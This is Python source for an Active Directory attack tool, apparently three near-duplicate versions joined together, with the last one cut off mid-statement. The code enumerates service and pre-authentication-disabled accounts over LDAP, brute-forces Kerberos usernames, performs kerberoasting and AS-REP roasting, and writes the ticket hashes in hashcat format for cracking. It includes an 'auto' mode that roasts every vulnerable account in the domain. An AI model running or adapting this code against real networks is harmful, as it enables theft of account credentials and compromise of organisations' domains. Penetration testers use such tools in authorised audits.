async def kerberoast_sspi(self): try: from winsspi.sspi import KerberoastSSPI for uid in self.targets_spn: try: spn_name = '%s@%s' % (self.targets_spn[uid].username, self.targets_spn[uid].domain) if spn_name[:6] == 'krbtgt': continue ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn(spn_name) except Exception as e: logger.debug('Error getting ticket for %s' % spn_name) continue t = KerberoastTable.from_hash(self.ad_id, uid, TGSTicket2hashcat(ticket)) self.db_session.add(t) self.total_targets_finished += 1 if self.progress_queue is not None: msg = GathererProgress() msg.type = GathererProgressType.KERBEROAST msg.msg_type = MSGTYPE.PROGRESS msg.adid = self.ad_id msg.domain_name = self.domain_name msg.total = self.total_targets msg.total_finished = self.total_targets_finished msg.step_size = 1 await self.progress_queue.put(msg) except Exception as e: logger.debug('Could not fetch tgs for %s' % uid) self.db_session.commit() return True, None except Exception as e: return None, e
def run(): import argparse parser = argparse.ArgumentParser( description= 'Tool to perform kerberoast attack against service users in MS Active Directory' ) parser.add_argument('-v', '--verbose', action='count', default=0, help='Increase verbosity, can be stacked') subparsers = parser.add_subparsers(help='commands') subparsers.required = True subparsers.dest = 'command' ldap_group = subparsers.add_parser( 'ldap', help='Enumerate potentially vulnerable users via LDAP') ldap_group.add_argument('type', choices=['spn', 'asrep', 'full', 'custom', 'all'], help='type of vulnerable users to enumerate') ldap_group.add_argument( 'user', help= 'LDAP user specitication <domain>/<username>:<password>@<ip or hostname>' ) ldap_group.add_argument('-n', '--ntlm', action='store_true', help='Indicate if password is actually an NT hash') ldap_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') ldap_group.add_argument('-f', '--filter', help='CUSTOM mode only. LDAP search filter') ldap_group.add_argument( '-a', '--attrs', action='append', help='FULL and CUSTOM mode only. LDAP attributes to display') ldap_group.add_argument( '-s', '--use-sspi', action='store_true', help= 'Use built-in windows SSPI for authentication. No credentials needed, will use the current user context.' ) brute_group = subparsers.add_parser( 'brute', help='Enumerate users via brute-forcing kerberos service') brute_group.add_argument('realm', help='Kerberos realm <COMPANY.corp>') brute_group.add_argument('address', help='Address of the DC') brute_group.add_argument( 'targets', help='File with a list of usernames to enumerate, one user per line') brute_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') asreproast_group = subparsers.add_parser('asreproast', help='Perform asrep roasting') asreproast_group.add_argument('address', help='Address of the DC') asreproast_group.add_argument( '-t', '--targets', help='File with a list of usernames to roast, one user per line') asreproast_group.add_argument( '-r', '--realm', help= 'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any' ) asreproast_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') asreproast_group.add_argument( '-u', '--user', action='append', help= 'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.' ) asreproast_group.add_argument('-e', '--etype', default=23, const=23, nargs='?', choices=[23, 17, 18], type=int, help='Set preferred encryption type') spnroast_group = subparsers.add_parser( 'spnroast', help='Perform spn roasting (aka kerberoasting)') spnroast_group.add_argument( 'logincreds', help= 'Either CCACHE file name or Kerberos login data <realm>/<username>:<password or NT hash or AES key>@<ip or hostname> Can be omitted for asrep command.' ) spnroast_group.add_argument( '-n', '--ntlm', action='store_true', help='Indicate if password is actually an NT hash') spnroast_group.add_argument( '-a', '--aes', action='store_true', help= 'Indicate if password is actually an AES key (AES128 and AES256 agnostic)' ) spnroast_group.add_argument( '-d', '--des', action='store_true', help= 'Indicate if password is actually an DES key (if DC allows this there are waay more issues than kerberoast)' ) spnroast_group.add_argument( '-c', '--ccache', action='store_true', help='Indicate if target is actually a CCACHE file') spnroast_group.add_argument( '-t', '--targets', help='File with a list of usernames to roast, one user per line') spnroast_group.add_argument( '-u', '--user', action='append', help= 'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.' ) spnroast_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') spnroast_group.add_argument( '-r', '--realm', help= 'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any' ) spnroast_group.add_argument( '-e', '--etype', default=-1, const=-1, nargs='?', choices=[23, 17, 18, -1], type=int, help='Set preferred encryption type. -1 for all') spnroastsspi_group = subparsers.add_parser( 'spnroast-sspi', help='Perform spn roasting (aka kerberoasting)') spnroastsspi_group.add_argument( '-t', '--targets', help='File with a list of usernames to roast, one user per line') spnroastsspi_group.add_argument( '-u', '--user', action='append', help= 'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.' ) spnroastsspi_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') spnroastsspi_group.add_argument( '-r', '--realm', help= 'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any' ) auto_group = subparsers.add_parser( 'auto', help= 'Just get the tickets already. Only works on windows under any domain-user context' ) auto_group.add_argument('dc_ip', help='Target domain controller') auto_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') args = parser.parse_args() if args.verbose == 0: logging.basicConfig(level=logging.INFO) kerblogger.setLevel(logging.WARNING) msldaplogger.setLevel(logging.WARNING) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) kerblogger.setLevel(logging.INFO) msldaplogger.setLevel(logging.INFO) else: logging.basicConfig(level=1) kerblogger.setLevel(logging.DEBUG) msldaplogger.setLevel(logging.DEBUG) #ksoc = KerberosSocket(args.target) if args.command == 'auto': try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') target_server = MSLDAPTargetServer(args.dc_ip) ldap = MSLDAP(None, target_server, use_sspi=True) ldap.connect() adinfo = ldap.get_ad_info() domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.') spn_users = [] asrep_users = [] results = [] errors = [] for user in ldap.get_all_knoreq_user_objects(): cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain asrep_users.append(cred) for user in ldap.get_all_service_user_objects(): cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain spn_users.append(cred) for cred in asrep_users: ks = KerberosSocket(args.address) ar = APREPRoast(ks) results += ar.run(creds, override_etype=[args.etype]) for cred in spn_users: spn_name = '%s@%s' % (cred.username, cred.domain) if spn_name[:6] == 'krbtgt': continue ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn(spn_name) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if args.out_file: with open(args.out_file, 'w') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) elif args.command == 'spnroast-sspi': try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') targets = [] if args.targets: with open(args.targets, 'r') as f: for line in f: line = line.strip() domain = None username = None if line.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = line.split('/') else: username = line if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) spn_name = '%s@%s' % (username, domain) targets.append(spn_name) if args.user: for user in args.user: domain = None username = None if user.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = user.split('/') else: username = user if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) spn_name = '%s@%s' % (username, domain) targets.append(spn_name) results = [] errors = [] for spn_name in targets: ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn(spn_name) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if args.out_file: with open(args.out_file, 'w') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) logging.info('SSPI based Kerberoast complete') elif args.command == 'spnroast': if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') targets = [] if args.targets: with open(args.targets, 'r') as f: for line in f: line = line.strip() domain = None username = None if line.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = line.split('/') else: username = line if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) target = KerberosTarget() target.username = username target.domain = domain targets.append(target) if args.user: for user in args.user: domain = None username = None if user.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = user.split('/') else: username = user if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) target = KerberosTarget() target.username = username target.domain = domain targets.append(target) if len(targets) == 0: raise Exception('No targets loaded!') logging.debug('Kerberoast loaded %d targets' % len(targets)) if args.ccache: raise Exception('Not implemented yet!') else: domain, username, password, target = from_target_string( args.logincreds) if not password: password = getpass.getpass() if not domain: raise Exception( 'Missing domain from kerberos logon credentials') if not username: raise Exception( 'Missing username from kerberos logon credentials') if not target: raise Exception( 'Missing target from kerberos logon credentials') cred = KerberosCredential() cred.domain = domain cred.username = username if args.ntlm: cred.nt_hash = password elif args.aes: if len(password) == 32: cred.kerberos_key_aes_128 = password elif len(password) == 64: cred.kerberos_key_aes_256 = password else: raise Exception( 'Kerberos logon credential AES keysize incorrect!') else: cred.password = password ks = KerberosSocket(target) ar = Kerberoast(cred, ks) if args.etype: if args.etype == -1: etypes = [23, 17, 18] else: etypes = [args.etype] else: etypes = [23, 17, 18] logging.debug( 'Kerberoast will suppoort the following encryption type(s): %s' % (','.join(str(x) for x in etypes))) hashes = ar.run(targets, override_etype=etypes) if args.out_file: with open(args.out_file, 'w') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logging.info('Kerberoast complete') elif args.command == 'asreproast': if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') creds = [] if args.targets: with open(args.targets, 'r') as f: for line in f: line = line.strip() domain = None username = None if line.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = line.split('/') else: username = line if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) cred = KerberosCredential() cred.username = username cred.domain = domain creds.append(cred) if args.user: for user in args.user: domain = None username = None if user.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = user.split('/') else: username = user if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) cred = KerberosCredential() cred.username = username cred.domain = domain creds.append(cred) logging.debug('ASREPRoast loaded %d targets' % len(creds)) logging.debug( 'ASREPRoast will suppoort the following encryption type: %s' % (str(args.etype))) ks = KerberosSocket(args.address) ar = APREPRoast(ks) hashes = ar.run(creds, override_etype=[args.etype]) if args.out_file: with open(args.out_file, 'w') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logging.info('ASREPRoast complete') elif args.command == 'brute': users = [] with open(args.targets, 'r') as f: for line in f: users.append(line.strip()) ksoc = KerberosSocket(args.address) ke = KerberosUserEnum(ksoc) results = ke.run(args.realm, users) logging.info('Enumerated %d users!' % len(results)) if args.out_file: with open(args.out_file, 'w') as f: for user in results: f.write(user + '\r\n') else: print('[+] Enumerated users:') for user in results: print(user) logging.info('Kerberos user enumeration complete') elif args.command == 'ldap': domain, username, password, target = from_target_string(args.user) if not password: password = getpass.getpass() ldap_server = MSLDAPTargetServer(target) creds = MSLDAPUserCredential(username=username, domain=domain, password=password, is_ntlm=args.ntlm) ldap = MSLDAP(creds, ldap_server, use_sspi=args.use_sspi) ldap.connect() adinfo = ldap.get_ad_info() domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.') if args.out_file: basefolder = ntpath.dirname(args.out_file) basefile = ntpath.basename(args.out_file) if args.type in ['spn', 'all']: logging.debug('Enumerating SPN user accounts...') cnt = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_spn_users.txt'), 'w', newline='') as f: for user in ldap.get_all_service_user_objects(): cnt += 1 f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) else: print('[+] SPN users') for user in ldap.get_all_service_user_objects(): cnt += 1 print('%s/%s' % (domain, user.sAMAccountName)) logging.debug('Enumerated %d SPN user accounts' % cnt) if args.type in ['asrep', 'all']: logging.debug('Enumerating ASREP user accounts...') ctr = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_asrep_users.txt'), 'w', newline='') as f: for user in ldap.get_all_knoreq_user_objects(): ctr += 1 f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) else: print('[+] ASREP users') for user in ldap.get_all_knoreq_user_objects(): ctr += 1 print('%s/%s' % (domain, user.sAMAccountName)) logging.debug('Enumerated %d ASREP user accounts' % ctr) if args.type in ['full', 'all']: logging.debug( 'Enumerating ALL user accounts, this will take some time depending on the size of the domain' ) ctr = 0 attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS if args.out_file: with open(os.path.join(basefolder, basefile + '_ldap_users.tsv'), 'w', newline='', encoding='utf8') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(attrs) for user in ldap.get_all_user_objects(): ctr += 1 writer.writerow(user.get_row(attrs)) else: logging.debug('Are you sure about this?') print('[+] Full user dump') print('\t'.join(attrs)) for user in ldap.get_all_user_objects(): ctr += 1 print('\t'.join([str(x) for x in user.get_row(attrs)])) logging.debug('Enumerated %d user accounts' % ctr) if args.type in ['custom']: if not args.filter: raise Exception( 'Custom LDAP search requires the search filter to be specified!' ) if not args.attrs: raise Exception( 'Custom LDAP search requires the attributes to be specified!' ) logging.debug( 'Perforing search on the AD with the following filter: %s' % args.filter) logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs)) ctr = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_ldap_custom.tsv'), 'w', newline='') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(args.attrs) for obj in ldap.pagedsearch(self, args.filter, args.attrs): ctr += 1 writer.writerow([ str(obj['attributes'].get(x, 'N/A')) for x in args.attrs ]) else: for obj in ldap.pagedsearch(self, args.filter, args.attrs): ctr += 1 print('\t'.join([ str(obj['attributes'].get(x, 'N/A')) for x in args.attrs ])) logging.debug('Custom search yielded %d results!' % ctr)
def run(): import argparse parser = argparse.ArgumentParser( description='Tool to perform verious kerberos security tests', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=kerberoast_epilog) parser.add_argument('-v', '--verbose', action='count', default=0, help='Increase verbosity, can be stacked') subparsers = parser.add_subparsers(help='commands') subparsers.required = True subparsers.dest = 'command' ldap_group = subparsers.add_parser( 'ldap', formatter_class=argparse.RawDescriptionHelpFormatter, help='Enumerate potentially vulnerable users via LDAP', epilog=MSLDAPURLDecoder.help_epilog) ldap_group.add_argument('type', choices=['spn', 'asrep', 'full', 'custom', 'all'], help='type of vulnerable users to enumerate') ldap_group.add_argument('ldap_url', help='LDAP connection URL') ldap_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') ldap_group.add_argument('-f', '--filter', help='CUSTOM mode only. LDAP search filter') ldap_group.add_argument( '-a', '--attrs', action='append', help='FULL and CUSTOM mode only. LDAP attributes to display') brute_group = subparsers.add_parser( 'brute', help='Enumerate users via brute-forcing kerberos service') brute_group.add_argument('realm', help='Kerberos realm <COMPANY.corp>') brute_group.add_argument('address', help='Address of the DC') brute_group.add_argument( 'targets', help='File with a list of usernames to enumerate, one user per line') brute_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') asreproast_group = subparsers.add_parser('asreproast', help='Perform asrep roasting') asreproast_group.add_argument('address', help='Address of the DC') asreproast_group.add_argument( '-t', '--targets', help='File with a list of usernames to roast, one user per line') asreproast_group.add_argument( '-r', '--realm', help= 'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any' ) asreproast_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') asreproast_group.add_argument( '-u', '--user', action='append', help= 'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.' ) asreproast_group.add_argument('-e', '--etype', default=23, const=23, nargs='?', choices=[23, 17, 18], type=int, help='Set preferred encryption type') spnroast_group = subparsers.add_parser( 'spnroast', help='Perform spn roasting (aka kerberoasting)', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=KerberosCredential.help_epilog) spnroast_group.add_argument( 'kerberos_connection_string', help= 'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>' ) spnroast_group.add_argument( '-t', '--targets', help='File with a list of usernames to roast, one user per line') spnroast_group.add_argument( '-u', '--user', action='append', help= 'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.' ) spnroast_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') spnroast_group.add_argument( '-r', '--realm', help= 'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any' ) spnroast_group.add_argument( '-e', '--etype', default=-1, const=-1, nargs='?', choices=[23, 17, 18, -1], type=int, help='Set preferred encryption type. -1 for all') spnroastsspi_group = subparsers.add_parser( 'spnroast-sspi', help='Perform spn roasting (aka kerberoasting)') spnroastsspi_group.add_argument( '-t', '--targets', help='File with a list of usernames to roast, one user per line') spnroastsspi_group.add_argument( '-u', '--user', action='append', help= 'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.' ) spnroastsspi_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') spnroastsspi_group.add_argument( '-r', '--realm', help= 'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any' ) tgt_group = subparsers.add_parser( 'tgt', help='Fetches a TGT for the given user credential', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=KerberosCredential.help_epilog) tgt_group.add_argument( 'kerberos_connection_string', help= 'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>' ) tgt_group.add_argument('out_file', help='Output CCACHE file') tgs_group = subparsers.add_parser( 'tgs', help='Fetches a TGT for the given user credential', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=KerberosCredential.help_epilog) tgs_group.add_argument( 'kerberos_connection_string', help= 'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>' ) tgs_group.add_argument( 'spn', help= 'SPN strong of the service to get TGS for. Expected format: <domain>/<hostname>' ) tgs_group.add_argument('out_file', help='Output CCACHE file') auto_group = subparsers.add_parser( 'auto', help= 'Just get the tickets already. Only works on windows under any domain-user context' ) auto_group.add_argument('dc_ip', help='Target domain controller') auto_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') auto_group.add_argument('-e', '--etype', default=23, const=23, nargs='?', choices=[23, 17, 18], type=int, help='Set preferred encryption type') args = parser.parse_args() if args.verbose == 0: logging.basicConfig(level=logging.INFO) kerblogger.setLevel(logging.WARNING) msldaplogger.setLevel(logging.WARNING) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) kerblogger.setLevel(logging.INFO) msldaplogger.setLevel(logging.INFO) else: logging.basicConfig(level=1) kerblogger.setLevel(logging.DEBUG) msldaplogger.setLevel(logging.DEBUG) #ksoc = KerberosSocket(args.target) if args.command == 'tgs': cred = KerberosCredential.from_connection_string( args.kerberos_connection_string) ks = KerberosSocket.from_connection_string( args.kerberos_connection_string) domain, hostname = args.spn.split('/') target = KerberosTarget() target.username = hostname target.domain = domain comm = KerbrosComm(cred, ks) comm.get_TGT() comm.get_TGS(target) comm.ccache.to_file(args.out_file) elif args.command == 'tgt': cred = KerberosCredential.from_connection_string( args.kerberos_connection_string) ks = KerberosSocket.from_connection_string( args.kerberos_connection_string) comm = KerbrosComm(cred, ks) comm.get_TGT() comm.ccache.to_file(args.out_file) elif args.command == 'auto': try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') domain = args.dc_ip url = 'ldap+sspi://%s' % domain msldap_url = MSLDAPURLDecoder(url) connection = msldap_url.get_connection() connection.connect() adinfo = connection.get_ad_info() domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.') spn_users = [] asrep_users = [] results = [] errors = [] for user in connection.get_all_knoreq_user_objects(): cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain asrep_users.append(cred) for user in connection.get_all_service_user_objects(): cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain spn_users.append(cred) for cred in asrep_users: ks = KerberosSocket(domain) ar = APREPRoast(ks) results += ar.run([cred], override_etype=[args.etype]) for cred in spn_users: spn_name = '%s@%s' % (cred.username, cred.domain) if spn_name[:6] == 'krbtgt': continue ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn(spn_name) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if args.out_file: with open(args.out_file, 'w') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) elif args.command == 'spnroast-sspi': try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') targets = [] if args.targets: with open(args.targets, 'r') as f: for line in f: line = line.strip() domain = None username = None if line.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = line.split('/') else: username = line if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) spn_name = '%s@%s' % (username, domain) targets.append(spn_name) if args.user: for user in args.user: domain = None username = None if user.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = user.split('/') else: username = user if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) spn_name = '%s@%s' % (username, domain) targets.append(spn_name) results = [] errors = [] for spn_name in targets: ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn(spn_name) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if args.out_file: with open(args.out_file, 'w') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) logging.info('SSPI based Kerberoast complete') elif args.command == 'spnroast': if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') targets = [] if args.targets: with open(args.targets, 'r') as f: for line in f: line = line.strip() domain = None username = None if line.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = line.split('/') else: username = line if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) target = KerberosTarget() target.username = username target.domain = domain targets.append(target) if args.user: for user in args.user: domain = None username = None if user.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = user.split('/') else: username = user if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) target = KerberosTarget() target.username = username target.domain = domain targets.append(target) if len(targets) == 0: raise Exception('No targets loaded!') logging.debug('Kerberoast loaded %d targets' % len(targets)) cred = KerberosCredential.from_connection_string( args.kerberos_connection_string) ks = KerberosSocket.from_connection_string( args.kerberos_connection_string) ar = Kerberoast(cred, ks) if args.etype: if args.etype == -1: etypes = [23, 17, 18] else: etypes = [args.etype] else: etypes = [23, 17, 18] logging.debug( 'Kerberoast will suppoort the following encryption type(s): %s' % (','.join(str(x) for x in etypes))) hashes = ar.run(targets, override_etype=etypes) if args.out_file: with open(args.out_file, 'w') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logging.info('Kerberoast complete') elif args.command == 'asreproast': if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') creds = [] if args.targets: with open(args.targets, 'r') as f: for line in f: line = line.strip() domain = None username = None if line.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = line.split('/') else: username = line if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) cred = KerberosCredential() cred.username = username cred.domain = domain creds.append(cred) if args.user: for user in args.user: domain = None username = None if user.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = user.split('/') else: username = user if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) cred = KerberosCredential() cred.username = username cred.domain = domain creds.append(cred) logging.debug('ASREPRoast loaded %d targets' % len(creds)) logging.debug( 'ASREPRoast will suppoort the following encryption type: %s' % (str(args.etype))) ks = KerberosSocket(args.address) ar = APREPRoast(ks) hashes = ar.run(creds, override_etype=[args.etype]) if args.out_file: with open(args.out_file, 'w') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logging.info('ASREPRoast complete') elif args.command == 'brute': users = [] with open(args.targets, 'r') as f: for line in f: users.append(line.strip()) ksoc = KerberosSocket(args.address) ke = KerberosUserEnum(ksoc) results = ke.run(args.realm, users) logging.info('Enumerated %d users!' % len(results)) if args.out_file: with open(args.out_file, 'w') as f: for user in results: f.write(user + '\r\n') else: print('[+] Enumerated users:') for user in results: print(user) logging.info('Kerberos user enumeration complete') elif args.command == 'ldap': ldap_url = MSLDAPURLDecoder(args.ldap_url) connection = ldap_url.get_connection() connection.connect() adinfo = connection.get_ad_info() domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.') if args.out_file: basefolder = ntpath.dirname(args.out_file) basefile = ntpath.basename(args.out_file) if args.type in ['spn', 'all']: logging.debug('Enumerating SPN user accounts...') cnt = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_spn_users.txt'), 'w', newline='') as f: for user in connection.get_all_service_user_objects(): cnt += 1 f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) else: print('[+] SPN users') for user in connection.get_all_service_user_objects(): cnt += 1 print('%s/%s' % (domain, user.sAMAccountName)) logging.debug('Enumerated %d SPN user accounts' % cnt) if args.type in ['asrep', 'all']: logging.debug('Enumerating ASREP user accounts...') ctr = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_asrep_users.txt'), 'w', newline='') as f: for user in connection.get_all_knoreq_user_objects(): ctr += 1 f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) else: print('[+] ASREP users') for user in connection.get_all_knoreq_user_objects(): ctr += 1 print('%s/%s' % (domain, user.sAMAccountName)) logging.debug('Enumerated %d ASREP user accounts' % ctr) if args.type in ['full', 'all']: logging.debug( 'Enumerating ALL user accounts, this will take some time depending on the size of the domain' ) ctr = 0 attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS if args.out_file: with open(os.path.join(basefolder, basefile + '_ldap_users.tsv'), 'w', newline='', encoding='utf8') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(attrs) for user in connection.get_all_user_objects(): ctr += 1 writer.writerow(user.get_row(attrs)) else: logging.debug('Are you sure about this?') print('[+] Full user dump') print('\t'.join(attrs)) for user in connection.get_all_user_objects(): ctr += 1 print('\t'.join([str(x) for x in user.get_row(attrs)])) logging.debug('Enumerated %d user accounts' % ctr) if args.type in ['custom']: if not args.filter: raise Exception( 'Custom LDAP search requires the search filter to be specified!' ) if not args.attrs: raise Exception( 'Custom LDAP search requires the attributes to be specified!' ) logging.debug( 'Perforing search on the AD with the following filter: %s' % args.filter) logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs)) ctr = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_ldap_custom.tsv'), 'w', newline='') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(args.attrs) for obj in connection.pagedsearch(args.filter, args.attrs): ctr += 1 writer.writerow([ str(obj['attributes'].get(x, 'N/A')) for x in args.attrs ]) else: for obj in connection.pagedsearch(args.filter, args.attrs): ctr += 1 print('\t'.join([ str(obj['attributes'].get(x, 'N/A')) for x in args.attrs ])) logging.debug('Custom search yielded %d results!' % ctr)
async def amain(args): if args.command == 'tgs': logging.debug('[TGS] started') ku = KerberosClientURL.from_url(args.kerberos_connection_url) cred = ku.get_creds() target = ku.get_target() spn = KerberosSPN.from_user_email(args.spn) logging.debug('[TGS] target user: %s' % spn.get_formatted_pname()) logging.debug('[TGS] fetching TGT') kcomm = AIOKerberosClient(cred, target) await kcomm.get_TGT() logging.debug('[TGS] fetching TGS') await kcomm.get_TGS(spn) kcomm.ccache.to_file(args.out_file) logging.debug('[TGS] done!') elif args.command == 'tgt': logging.debug('[TGT] started') ku = KerberosClientURL.from_url(args.kerberos_connection_url) cred = ku.get_creds() target = ku.get_target() logging.debug('[TGT] cred: %s' % cred) logging.debug('[TGT] target: %s' % target) kcomm = AIOKerberosClient(cred, target) logging.debug('[TGT] fetching TGT') await kcomm.get_TGT() kcomm.ccache.to_file(args.out_file) logging.debug('[TGT] Done! TGT stored in CCACHE file') elif args.command == 'asreproast': if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') creds = [] targets = get_targets_from_file(args, False) targets += get_target_from_args(args, False) if len(targets) == 0: raise Exception( 'No targets were specified! Either use target file or specify target via cmdline' ) logging.debug('[ASREPRoast] loaded %d targets' % len(targets)) logging.debug( '[ASREPRoast] will suppoort the following encryption type: %s' % (str(args.etype))) ks = KerberosTarget(args.address) ar = APREPRoast(ks) hashes = [] for target in targets: h = await ar.run(target, override_etype=[args.etype]) hashes.append(h) if args.out_file: with 